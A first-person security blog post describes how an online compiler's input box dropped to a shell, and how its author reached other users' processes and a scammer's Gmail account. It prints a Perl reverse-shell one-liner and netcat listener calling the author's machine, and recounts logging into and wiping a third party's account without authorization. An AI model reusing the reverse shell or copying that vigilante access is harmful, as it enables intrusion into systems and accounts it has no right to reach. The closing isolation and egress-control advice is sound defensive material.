A Reverse Shell from an Online Compiler
The blinking cursor
This started by accident. I had a small Java program in Programiz that read some input, ran it, and finished. After it printed its output I pressed Enter a couple of times out of habit, and instead of going back to an idle state the output pane just left me with a cursor blinking on an empty line. No prompt, no label, nothing. It looked like the program had hung.
So I typed ls and pressed Enter, and it listed a directory. The input box
that programs read from was sitting on top of a shell: once the Java process was out of
the way, whatever I typed there ran as a command. That is the whole bug, an stdin field
that dropped to a shell the moment the program exited.
Where am I
The first thing you do with a shell you did not expect to have is figure out who and where you are.
$ whoami
compiler
$ ls /
app bin boot dev etc home lib lib32 lib64 libx32
media mnt opt proc root run sbin srv sys tmp usr var
I am compiler, a dedicated low-privilege user, which is the right call. The
filesystem is a normal Debian-ish container, my compiled program sitting in
/tmp where the runner dropped it. So far, so reasonable: a sandbox running
my code as an unprivileged user. The problem is what that sandbox is allowed to do next.
Turning it into a real shell
Typing commands one at a time into a web input box is miserable, so I upgraded to a proper interactive shell. From inside the Java program I shelled out to a one-line Perl reverse shell that dials back to a listener on my own machine, reached through a port I forwarded on my home router.
$ nc -lnvp 1337
Connection from 35.223.55.41:40180
perl -MIO -e '$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"<MY_IP>:1337");
STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
The source address, 35.223.55.41, is a Google Cloud range, so the compiler
backend is a container running in GCP. The Java editor still printed its usual
Hello, World! and looked completely normal, but it had also forked a child
that dialed home, and my terminal lit up with an interactive prompt running as
compiler.
It is one big shared box
Then I ran ps -aux, and that is where it stopped being a toy. The process
list was full of other people's programs, all running as the same compiler
user on the same machine at the same time:
compiler 211 python3.8 -i -c for x in range(10): print("...")
compiler 215 perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(...) # mine
compiler 227 python3.8 -i -c persons_name = input("enter your name ")
favourite_color = input("enter a color: ")
Every visitor hitting "Run" anywhere on the site lands on this same box as this same
user. I could read their source off the command line, watch programs waiting at an
input() prompt, and I had the privileges to read their temp files or signal
their processes. There is a sandbox around the machine, but no isolation between users on
it. A per-run container that every user shares is not really a per-run container.
The scammer
Most sessions were what you would expect from an online compiler: homework, test prints, people learning loops. One was not. Someone was running an email scam from the box, and from there I found my way into the Gmail account driving it.
It was a Norton refund scam, the callback kind. The sent folder was full of near identical emails to long bcc lists, each a fake invoice: "Thank you for your order, your Norton 360 subscription has renewed, we have charged 349.99 USD to your account, if you did not authorize this call our toll free number." A forged Norton invoice was attached with a number to call. The whole thing is designed to panic someone into calling, at which point the "support" line walks them through handing over money or remote access to fix a charge that never happened.
Cleaning up
I am not going to pretend I handled this like a professional. I was already logged into the account and could see who it was targeting, so I deleted the scam mail and the account contents to break that particular run. It is not a fix, they will spin up another address tomorrow, but it beat closing the tab and leaving the next batch to go out. Mostly it drove home that the same missing isolation that let me look around also let someone park an active scam operation on a free coding website and reach real inboxes from it.
What actually went wrong
Running my code as an unprivileged user in a container is the correct baseline. The problems are the controls missing on top of it:
- The input box was a shell. Once the program exited, the stdin channel dropped to a command interpreter instead of just ending the run. That alone hands every user a shell with no exploit required.
- No isolation between users. Everyone runs as one shared user on one shared box, able to see and touch each other's processes and files.
- Unrestricted egress. The container could open an arbitrary outbound connection to my listener. With no egress firewall, a code sandbox becomes a reverse shell host and a pivot point.
- A full toolbox on
$PATH.perl,bashand friends being present turns "run code" into "run anything." A minimal image removes most of the easy primitives.
How you would contain this
None of the fixes are exotic. If you run untrusted code for a living, the defenses are well known, and they all follow from one shift: stop sharing.
| Layer | Control |
|---|---|
| Isolation | One-shot microVM (Firecracker/gVisor) per run, torn down after, no shared user and no shared state between sessions. |
| Network | Default-deny egress. The runner needs no outbound access at all, drop it at the container or VPC level. |
| Syscalls | seccomp allow-list; block socket,
connect, ptrace, mount and friends. |
| Image | Minimal rootfs, no perl/bash/curl
the language runtime does not need. |
| Resources | CPU, memory, PID and time limits so a fork bomb or miner cannot camp on the box. |
Takeaway
Sandboxing the user with an unprivileged account is necessary but nowhere near enough. The moment a sandbox is shared between strangers and can open a socket to the internet, "we run your code in a container" quietly becomes "we give everyone a shell on a shared machine with outbound network access," and you find out who shows up to use it. Assume every run is hostile, give each one its own throwaway box, and cut the network.